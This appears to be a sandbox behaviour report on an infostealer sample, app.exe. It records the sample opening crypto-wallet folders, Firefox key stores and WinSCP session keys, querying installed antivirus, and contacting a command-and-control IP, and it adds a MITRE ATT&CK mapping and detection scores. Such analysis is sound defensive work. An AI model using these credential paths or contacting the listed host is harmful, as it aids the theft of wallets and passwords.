Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1343496627 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1343496627 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1387277564 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1387277564 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1417002460 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2165547404 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2165547404 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2265332024 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2265465471 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2874006916 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3677062445 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\acrord32_sbx VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\B018D45B-96A4-4B60-BED4-BC78D47B50F2 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\hsperfdata_user VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Importer_6_Default_4 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Low VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MpCmdRun.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MpCmdRun.log VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Symbols VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\TCDE6D1.tmp VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\TCDE6EA.tmp VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_0041C882 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_0041C882

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_0041DD1B GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0041DD1B

Source: C:\Users\user\Desktop\app.exe

Code function: 0_2_00415DDE EntryPoint,GetVersionExA,GetModuleHandleA,GetModuleHandleA,GetCommandLineA,GetStartupInfoA,GetModuleHandleA,

0_2_00415DDE

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntiVirusProduct

Stealing of Sensitive Information

Found many strings related to Crypto-Wallets (likely being stolen)

Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Electrum\wallets\tjYCo5b
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Electrum\wallets\tjYCo5b
Source: app.exe, 00000003.00000003.3098259663.0000000000956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"AtomicWallet","path":"%APPDATA%\\atomic\\Local Storage\\leveldb\\"},{"name":"Exodus","path":"%APPDATA%\\exodus\\exodus.wallet\\"},{"name":"JaxxWallet","path":"%APPDATA%\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\"},{"
Source: app.exe, 00000003.00000003.3098259663.0000000000956000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: :"AtomicWallet","path":"%APPDATA%\\atomic\\Local Storage\\leveldb\\"},{"name":"Exodus","path":"%APPDATA%\\exodus\\exodus.wallet\\"},{"name":"JaxxWallet","path":"%APPDATA%\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\"},{"
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\XdPr
Source: app.exe, 00000003.00000003.3292397056.000000000556B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\XdPr
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Coinomi\Coinomi\wallets\
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\exodus\exodus.wallet\Y
Source: app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\XdPr

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\Local Settings\Mozilla\Firefox\Profiles\ol7uiqa8.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\Local Settings\Mozilla\Firefox\Profiles\kzpbmws1.default\key4.db	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\AppData\Roaming\exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\AppData\Roaming\exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	331 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Bootkit	11 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	1 Credentials in Registry	45 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	461 Security Software Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	13 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	2 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bootkit	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Link
app.exe	11%	ReversingLabs
app.exe	100%	Joe Sandbox ML
app.exe	11%	Virustotal	Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7041956494665639546\app.exe	11%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
http://144.208.127.230/J	0%	Avira URL Cloud	safe
http://144.208.127.230/v	0%	Avira URL Cloud	safe
http://144.208.127.230:80/w	0%	Avira URL Cloud	safe
http://144.208.127.230/	0%	Avira URL Cloud	safe
http://144.208.127.230/z	0%	Avira URL Cloud	safe
http://144.208.127.230/z	0%	Virustotal		Browse
http://144.208.127.230	0%	Avira URL Cloud	safe
http://144.208.127.230/B	0%	Avira URL Cloud	safe
http://144.208.127.230/J	0%	Virustotal		Browse
http://144.208.127.230/	0%	Virustotal		Browse
http://144.208.127.230:80/w	0%	Virustotal		Browse
http://144.208.127.230/Y	0%	Avira URL Cloud	safe
http://144.208.127.230/U	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
http://144.208.127.230:80/	0%	Avira URL Cloud	safe
http://144.208.127.230:80/-35b871f0a661	0%	Avira URL Cloud	safe
http://144.208.127.230:80/L	0%	Avira URL Cloud	safe
http://144.208.127.230	0%	Virustotal		Browse
http://144.208.127.230/7	0%	Avira URL Cloud	safe
http://144.208.127.230:80/	0%	Virustotal		Browse
http://144.208.127.230/Y	0%	Virustotal		Browse
https://POSTHTTP/1.1Content-Type:	0%	Avira URL Cloud	safe
http://144.208.127.230/e&	0%	Avira URL Cloud	safe
https://alldrivers4devices.net	0%	Avira URL Cloud	safe
http://144.208.127.230:80/o	0%	Avira URL Cloud	safe
http://144.208.127.230/7	0%	Virustotal		Browse
http://144.208.127.230/~	0%	Avira URL Cloud	safe
http://144.208.127.230:80/T	0%	Avira URL Cloud	safe
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
http://144.208.127.230:80/-35b871f0a661ozi	0%	Avira URL Cloud	safe
http://144.208.127.230:80/R	0%	Avira URL Cloud	safe
http://144.208.127.230:80/T	0%	Virustotal		Browse
http://144.208.127.230U	0%	Avira URL Cloud	safe
http://144.208.127.230/~	0%	Virustotal		Browse
https://alldrivers4devices.net	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org	172.67.74.152	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://144.208.127.230/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://api.ipify.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182590144.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182590144.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	false		high
https://setup.office.com/EnterPin?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Web Data.3.dr	false		high
https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://windows-drivers-x04.blogspot.com	app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.autoitscript.com	app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/home/ProvisionLoading?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8-_	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	app.exe, 00000003.00000003.3177221257.00000000055AC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://consent.trustarc.com	app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230/z	app.exe, 00000003.00000003.3246373817.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3177623712.0000000000956000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://144.208.127.230:80/w	app.exe, 00000003.00000003.3139260264.0000000005588000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123698644.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3134624186.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3130432829.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132299964.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3125985144.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3128278501.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3139068962.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116136458.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3136784723.0000000005586000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://144.208.127.230/v	app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://setup.office.com/SignIn?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8&redirectUri=https%3A%2F%2F	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://secure.eicar.org/eicar.com;9	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3257419916.00000000055D6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3261882543.00000000055DC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230/J	app.exe, 00000003.00000003.3112020011.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3126108218.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3118889457.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114263668.0000000000956000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.eicar.org/download-anti-malware-testfile/:	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/Home/EligibileActModern?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Microsoft	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182590144.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3183161453.00000000058E8000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	false		high
https://office.com/setup	app.exe, 00000003.00000003.3182859527.00000000055F1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230/B	app.exe, 00000003.00000003.3112020011.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3123955917.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3107954475.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3121520475.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116384116.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3103448637.0000000000956000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3126108218.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3118889457.000000000095B000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114263668.0000000000956000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://setup.office.com/Home/EligibileActModern?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lh5.googleusercontent.com/p/AF1QipOvNh-L3TTVll_wDyQd66TEaShUCp3i0iabc8se=w92-h92-n-k-no	app.exe, 00000003.00000003.3242282826.00000000055C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3242197510.00000000058C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3246273895.00000000058E5000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230	app.exe, 00000003.00000002.3294569055.00000000008CF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/search?q=at	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230/Y	app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://secure.eicar.org/eicar.com.txtD	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Abuse?mkt=EN-US&uiflavor=web&client_id=1E000040382627&id=293577&lmif=40&abr	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lh5.googleusercontent.com/p/AF1QipPFr704HJkdqZ5xefxGs53Btx8SeAbaCnWxa6-y=w92-h92-n-k-no	app.exe, 00000003.00000003.3242282826.00000000055C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3242197510.00000000058C6000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3246273895.00000000058E5000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230/U	app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	app.exe, 00000003.00000003.3093301962.000000000551F000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://setup.office.com/?ms.officeurl=setup	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230:80/	app.exe, 00000003.00000003.3114168289.0000000005584000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://recoveringlib.blogspot.com	app.exe, 00000003.00000003.3245462405.00000000058E5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230:80/-35b871f0a661	app.exe, 00000003.00000003.3105612570.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3107523130.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3101845651.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3111746106.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3103619876.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3109755043.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3116136458.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3114168289.0000000005584000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	app.exe, 00000003.00000003.3188734917.00000000058E3000.00000004.00000020.00020000.00000000.sdmp, Web Data.3.dr	false		high
https://aka.office.com/office/url/setupMicrosoft	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/EnterPin?ctid=7cf86fed-a1e2-4492-bd27-ed1c1d636ca8Microsoft	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230:80/L	app.exe, 00000003.00000003.3130432829.0000000005584000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132299964.0000000005586000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3132482295.000000000558B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.eicar.org/eicar.com	app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.office.com/office/url/setup	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://setup.office.com/SignIn?ru=https%3A%2F%2Fsetup.office.com%2F%3Fms.officeurl%3DsetupSign	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe	app.exe, 00000003.00000003.3182859527.00000000055E1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://144.208.127.230/7	app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/search?q=autoit	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Web Data.3.dr	false		high
https://setup.office.com/?ms.officeurl=setupMicrosoft	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://POSTHTTP/1.1Content-Type:	app.exe, 00000003.00000002.3295913444.0000000002530000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://144.208.127.230/e&	app.exe, 00000003.00000002.3296988780.0000000005518000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.eicar.org/eicar.com.txt/	app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/search?q=eicar	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://secure.eicar.org/eicar.com/	app.exe, 00000003.00000003.3182148991.0000000005603000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3178386939.00000000055E3000.00000004.00000020.00020000.00000000.sdmp, app.exe, 00000003.00000003.3182859527.0000000005603000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.windows.net/consumers/oauth2/v2.0/authorize?client_id=77f68844-337b-4044-a0d4-153795cf	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/setup	app.exe, 00000003.00000003.3182859527.00000000055F6000.00000004.00000020.00020000.00000000.sdmp	false		high
